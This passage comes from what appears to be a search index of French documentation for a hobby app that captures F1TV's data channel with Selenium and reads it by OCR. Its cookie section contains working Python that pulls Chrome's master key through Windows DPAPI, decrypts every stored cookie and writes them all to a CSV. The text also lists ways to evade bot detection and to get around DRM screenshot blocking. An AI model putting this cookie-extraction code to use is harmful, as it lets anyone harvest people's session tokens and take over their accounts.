Ces deux partie sont li\u00e9es car pour se connecter \u00e0 la F1TV Selenium a besoin des cookies de connexion r\u00e9cup\u00e8r\u00e9s par le programme Python. La premi\u00e8re partie est un processus qui n'est utilis\u00e9 qu'une seule fois au d\u00e9marrage tandis que la r\u00e9cup\u00e9ration d'images et en continu pendant toute la dur\u00e9e de l'utilisation de l'application.","title":"Recup\u00e9ration d'images"},{"location":"index.html#ocr","text":"\"Diagramme simplifi\u00e9 repr\u00e9sentant le processur d'OCR\" ; On peut voir dans ce diagramme simplifi\u00e9 qu'avec l'aide de ce que contient le fichier \"Config.JSON\" on d\u00e9coupe l'image que l'on a r\u00e9cup\u00e8r\u00e9 au pr\u00e9alable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en r\u00e9cup\u00e8re les informations sous forme de texte et on le renvoie dans le programme C# Dans cette partie explicative g\u00e9n\u00e9rale, on ne reviendra pas sur la cr\u00e9ation de ce fichier config. Pour plus d'infos \u00e0 son sujet voir la rubrique (OCR/Fonctionnement g\u00e9n\u00e9ral)","title":"OCR"},{"location":"index.html#traitement-et-affichage","text":"\"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de traitement et d'affichage\" On peut voir dans ce dernier mini diagramme simplifi\u00e9 que on prend les donn\u00e9es que l'on r\u00e9cup\u00e8r\u00e9 de l'\u00e9tape pr\u00e9c\u00e9dente qui ne sont pas forc\u00e9ment toutes coh\u00e9rentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de donn\u00e9es SQLITE. Ensuite cette m\u00eame base de donn\u00e9e fournis les infos nescessaires pour des affichages (Ces affichages sont directements r\u00e9cup\u00e8r\u00e9s depuis le projet en cours de fonctionnement)","title":"Traitement et affichage"},{"location":"index.html#resume-du-fonctionnement-general","text":"\"Diagramme simplif\u00e9 repr\u00e9sentant le processus g\u00e9n\u00e9ral du projet\" Ce dernier diagramme est un sch\u00e9ma fait pour repr\u00e9senter de la mani\u00e8re la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. La repr\u00e9sentation est un peu diff\u00e9rentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donn\u00e9e \u00e0 travers les couches Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture. Dans l'ordre, on peut voir que pour la partie r\u00e9cup\u00e8ration d'images, le python va r\u00e9cup\u00e8rer les cookies dans la base de donn\u00e9es chrome pour ensuite les retourner \u00e0 Selenium. Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies r\u00e9cup\u00e8r\u00e9s pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos \u00e0 Selenium. L'info qui nous int\u00e9resse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme. Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives donn\u00e9es par le fichier Config.JSON (il renseigne les zones \u00e0 d\u00e9couper et ce qu'elles repr\u00e9sentent) et apr\u00e8s le d\u00e9coupage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fen\u00eatres de donn\u00e9es par zone de pilote donc 180 fen\u00eatres en tout. Ces fen\u00eatres sont ensuite envoy\u00e9es pour \u00eatre filtr\u00e9es (retirer le flou, mettre en \u00e9vidence les caract\u00e8res, en gros les pr\u00e9parer pour la reconnaissance) dans la partie OCR Dans cette partie, apr\u00e8s avoir filtr\u00e9 les images, on les envoie \u00e0 Tesseract pour qu'il nous retourne des r\u00e9sultats d'OCR. Ces r\u00e9sultats sont ce que Tesseract a trouv\u00e9 sur les image et ils sont retourn\u00e9s sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....) Finalement ces donn\u00e9es ont envoy\u00e9es dans la partie traitement qui va faire des v\u00e9rifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoy\u00e9 dans une base de donn\u00e9es SQLITE. On ne montre pas non plus dans ce diagramme la parte affichage des donn\u00e9es car je ne trouve pas pertinent de l'inclure ici. Et voila c'est le fonctionnement tr\u00e8s g\u00e9n\u00e9ral et simplifi\u00e9 de l'application. Je vous invite \u00e0 continuer \u00e0 lire cette documentation pour des informations plus pr\u00e9cises \u00e0 propos de toutes ces \u00e9tapes. Bonne lecture !","title":"R\u00e9sum\u00e9 du fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#recuperation-des-images","text":"Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet.","title":"R\u00e9cup\u00e9ration des images"},{"location":"index.html#comment-faire","text":"Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis.","title":"Comment faire ?"},{"location":"index.html#simuler-un-navigateur","text":"\"Navigateur Headless(sans t\u00eate)\" Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI (Interface Utilisateur). \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox.","title":"Simuler un navigateur ?"},{"location":"index.html#controler-le-navigateur","text":"Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Parfois il est aussi difficile de trouver un \u00e9l\u00e9ment selon son ID,sa classe, ou sa value. Par exemple l'option qui permet de passer en 1080P peut avoir comme value 1080_9011456 ou 1080_9011200 si on refresh la page. Cela demande de passer par des expression r\u00e9guli\u00e8res ce qui n'est pas compliqu\u00e9 en soi mais c'est toutes ces petites choses qui rendent le processus long \u00e0 mettre en place. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet.","title":"Contr\u00f4ler le navigateur"},{"location":"index.html#recuperer-les-cookies","text":"Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. Alors \u00e9videmment ca n'est pas pour faire des b\u00e9tises avec et c'est pour une \"bonne\" raison, mais bon quand m\u00eame ca peut faire bizarre comme ca. Je pense que vous savez d\u00e9ja ce qu'est un Cookie, mais je vais quand m\u00eame faire un petit point la dessus car c'est important pour la suite. Quand on va sur un site internet et que l'on se connecte avec nos identifiants nous sommes connect\u00e9s sur la session. Cependant, si on quitte le site ou que l'on ferme le navigateur, le site ne peut pas garder en m\u00e9moire que c'est bien vous quand le lendemain vous retournez dessus. Pour palier \u00e0 cette limitation on a invent\u00e9 cette chose magnifique (hem...) que sont les cookies ! Les cookies sont des petits fichiers qui sont stock\u00e9s dans votre navigateur et qui peuvent servir \u00e0 beaucoup de choses comme traquer votre activit\u00e9 sur internet et espionner un peu ou aussi par exemple, servir de jeton de connexion. L'id\u00e9e est que quand vous vous connectez sur le site avec vos identifiants, le site envoie un petit fichier dans votre navigateur qui va servir de jeton. Et donc quand vous reviendrez, le site pourra voir que vous avez le jeton et vous connectera automatiquement. Ca peut para\u00eetre g\u00e9nial, et c'est effectivement bien pratique, cependant ce n'est pas sans risques. En effet, imaginons qu'un acteur malveillant parvienne \u00e0 s'emparer de ces petits fichiers, il pourrait ainsi facilement se faire passer pour vous. Alors un cookie expire \u00e0 un moment donn\u00e9 pour temperer les risques, mais ils sont toujours pr\u00e9sents. Dans notre cas on peut vite comprendre pourquoi cela peut \u00eatre int\u00e9ressant de r\u00e9cup\u00e8rer ces cookies. En effet, si on peut mettre la main sur le jeton de connexion de l'utilisateur de notre application. On pourra se connecter automatiquement \u00e0 la F1TV et aller prendre des photos directement sans que l'utilisateur aie \u00e0 faire quoi que ce soit. Sauf que les cookies ne sont pas stock\u00e9s en clair comme ca. Evidemment Google Chrome a mis en place quelques techniques pour \u00e9viter que nimporte qui puisse s'amuser \u00e0 aller taper dans les cookies de la machine. Tous les cookies sont stock\u00e9s dans une base de donn\u00e9es sqlite avec les noms en clair et les valeurs sont encrypt\u00e9es en utilisant la methode AES 256 qui est une methode de cryptage tr\u00e8s utilis\u00e9e et efficace. Tellement efficace qu'il serait compl\u00eatement inutile de tenter de les decrypter en utilisant de la force brute pour trouver la valeur ou m\u00eame une attaque de dictionnaire ou quoi que ce soit. Si ces valeurs peuvent \u00eatre encod\u00e9es et d\u00e9cod\u00e9es en local sur la machine sans connexion internet, cela veut dire que la cl\u00e9 est stock\u00e9e sur la machine. Et si je peux mettre la mais sur cette cl\u00e9 alors je pourrai lire tous les cookies de la machine. Cette cl\u00e9 est stock\u00e9 dans les fichiers de Google Chrome sous Google\\Chrome\\User Data\\Local State . Et dans ce fichier on peut trouver une liste de donn\u00e9es en cl\u00e9 valeurs et on peut trouver la cl\u00e9 sous os_crypt encrypted_key . On pourrait croire que l'on a d\u00e9ja touch\u00e9 le jackpot mais il reste encore une \u00e9tape. Cette cl\u00e9 est crypt\u00e9e en utilisant le syst\u00e8me d'encryption de Windows. Cette encryption est utilis\u00e9e pour emp\u00eacher des utilisateurs non connect\u00e9s d'acc\u00e8der \u00e0 certaines donn\u00e9es. Mais comme nous sommes connect\u00e9s nous pouvons facilement utiliser les librairies de decryption pour trouver la valeur de cette cl\u00e9. Et \u00e0 partir de la il suffit d'utiliser cette cl\u00e9 pour d\u00e9crypter tous les cookies de la machine pour aller chercher ceux qui nous int\u00e9ressent. Voici un exemple du code python qui permet d'aller chercher la cl\u00e9 d'encryption dans les fichiers de Google Chrome : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key Python ?? Et oui j'ai choisit d'utiliser un srypt python pour aller chercher les cookies. Ce choix a \u00e9t\u00e9 fait pour trois raisons : Le python est un language que je n'aime pas particuli\u00e8rement mais qui poss\u00e8de un \u00e9ventail de librairies absolument fantastique. Et pour ce genre de choses qui demandent une constante mise \u00e0 jour des librairies et qui sont un peu niches le python est une option juste g\u00e9niale. Comme c'est une des parties qui est le plus suceptible de changer vu que Chrome change relativement souvent le syst\u00e8me de stockage des cookies. Dans une optique de facilit\u00e9 de maintenance, avoir un seul fichier qui concerne cette partie du projet et qui est dans un language que plus de gens maitrisent que C# est pratique. Je n'ai pas r\u00e9ussi \u00e0 trouver de librairies C# qui me donne des r\u00e9sultats identiques \u00e0 celles que j'utilise dans ce script python. Pour faire la liaison entre le C# et le python, j'appelle le script depuis mon C# et ensuite le python s'occupe de mettre tous les cookies dans un CSV qui est ensuite lu depuis le C#. Voici la partie python qui \u00e9crit dans le csv : if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Et la partie C# qui appelle le script et qui lit le CSV : private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } return value ; } Maintenant que l'on sait comment simuler et manipuler un navigateur internet, que l'on sait comment se connecter sur le compte F1TV de l'utilisateur sans qu'il n'aie rien \u00e0 faire. On a tous les ingr\u00e9dients pour automatiquement r\u00e9cup\u00e8rer des images de la F1TV du Grand Prix que l'on souhaite.","title":"R\u00e9cup\u00e8rer les cookies ?"},{"location":"index.html#calibration","text":"Maintenant que l'on a des images de la page Data de la F1TV on pourrait croire que c'est tout bon on peut direct passer \u00e0 la partie OCR. Mais que nenni ! Le gros soucis de l'OCR c'est que sa pr\u00e9cision est grandement r\u00e9duite d\u00e8s que l'on augmente la taille de la zone de recherche. M\u00eame simplement deux mots sur une image, si on les prends dans images individuelles on a de grandes chances de trouver quelque chose mais si on les mets les deux sur la m\u00eame et que on tente l'OCR on va avoir de r\u00e9sultats bien moins bons. Et puis il faut aussi voir que selon les donn\u00e9es que je cherche je ne peux pas faire le m\u00eame traitement. Par exemple, savoir si le DRS est allum\u00e9, savoir quels pneus chausse un pilote et depuis combien de tours et savoir quel est le temps de son dernier tour, ce sont des informations qui demandent des traitements qui n'ont rien \u00e0 voir. Il faut donc pouvoir dire au programme d'OCR ou se trouvent les informations et quelle est leur nature pour qu'il puisse les d\u00e9coder. Il faut donc faire une calibration qui puisse donner toutes les infos importantes mais qui en m\u00eame temps soit facile \u00e0 utiliser car un utilisateur doit \u00eatre capable de le faire assez facilement. Voici la liste des informations que l'on doit r\u00e9cup\u00e8rer : La liste des pilotes pr\u00e9sent sur le Grand Prix La position de la zone principale La position de chaque zone de pilote La position de toutes les Window sur chaque zone de pilote Le but a \u00e9t\u00e9 de retirer le plus d'\u00e9tapes possibles \u00e0 l'utilisateur. Techniquement j'aurais pu faire une version compl\u00eatement manuelle mais ca aurait pris trop de temps alors il y a des syst\u00e8mes qui permettent de rendre cette t\u00e2che moins p\u00e9nible.","title":"Calibration"},{"location":"index.html#liste-des-pilotes","text":"Pour la liste des pilotes j'ai pens\u00e9 \u00e0 utiliser une API externe pour avoir une liste dans laquelle on pourrait selectionner des noms de pilotes sauf que j'ai abandonn\u00e9 l'id\u00e9e car je trouvais que le projet avait d\u00e9ja bien assez de points qui d\u00e9pendent de l'exterieur. Il y a donc une liste de pilotes dans laquelle on peut ajouter ou supprimer des noms de pilotes. L'id\u00e9al serait de mettre tous les pilotes de reserve comme ca si un pilote est malade sur une course on a pas besoin de venir changer la liste.","title":"Liste des pilotes"},{"location":"index.html#zone-principale","text":"Pour la zone principale c'est compl\u00eatement manuel, on attend de l'utilisateur deux points x,y sur l'image pour ensuite avoir une id\u00e9e de ou est sens\u00e9 se trouver la zone. \"Exemple de zone principale\"","title":"Zone principale"},{"location":"index.html#zones-pilotes","text":"C'est la que ca devient int\u00e9ressant. L'utilisateur n'a pas besoin de faire quoi que ce soit pour que le programme sache ou sont les zones des pilotes. J'aurais pu le faire manuellement en faisant choisir \u00e0 l'utilisateur de donner deux points qui correspondent \u00e0 la premi\u00e8re zone et extrapoler pour en avoir 20. Sauf que si l'utilisateur n'est pas pr\u00e9cis au pixel pr\u00e8s (et m\u00eame comme ca parfois) le vingti\u00e8me pilote se retrouve avec une zone compl\u00eatement desax\u00e9e. La, le programme va \"simplement\" effectuer une reconaissance de texte sur toute l'image. Les r\u00e9sultats ne nous int\u00e9ressent pas vraiment tout ce que l'on veut c'est la position des textes. Avec les position il est facile de determiner ou sont toutes les zones de pilotes et donc sans que l'utilisateur n'aie \u00e0 toucher quoi que ce soit, d\u00e8s qu'il a donn\u00e9 les infos pour la zone principale, les zones de pilotes sont determin\u00e9es. \"Exemple zone pilote\" Voici un exemple du code utilis\u00e9 pour trouver ou dessiner des zones de pilotes : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } }","title":"Zones pilotes"},{"location":"index.html#windows-pilotes","text":"C'est ici que c'est le plus p\u00e9nible pour l'utilisateur, il doit selectionner manuellement les positions des fen\u00eatres de donn\u00e9es. Ensuite d\u00e8s que l'utilisateur a donn\u00e9e une position pour chaque window, on applique les positions pour chaque zone de pilote. Il y a plusieurs types de windows et selon le type le traitement est diff\u00e9rent comme je l'ai dit plus t\u00f4t. Voici des exemples concrets : \"Exemple Window de pneus\" \"Exemple Window temps au tour\" \"Exemple window Drs\" Il est important que toutes ces zones soient transmises avec le plus de pr\u00e9cision possible pour que l'OCR puisse bien faire son boulot.","title":"Windows pilotes"},{"location":"index.html#stockage","text":"Ensuite quand l'utilisateur a finit de configurer son flux, la configuration est stock\u00e9e pour qu'il puisse 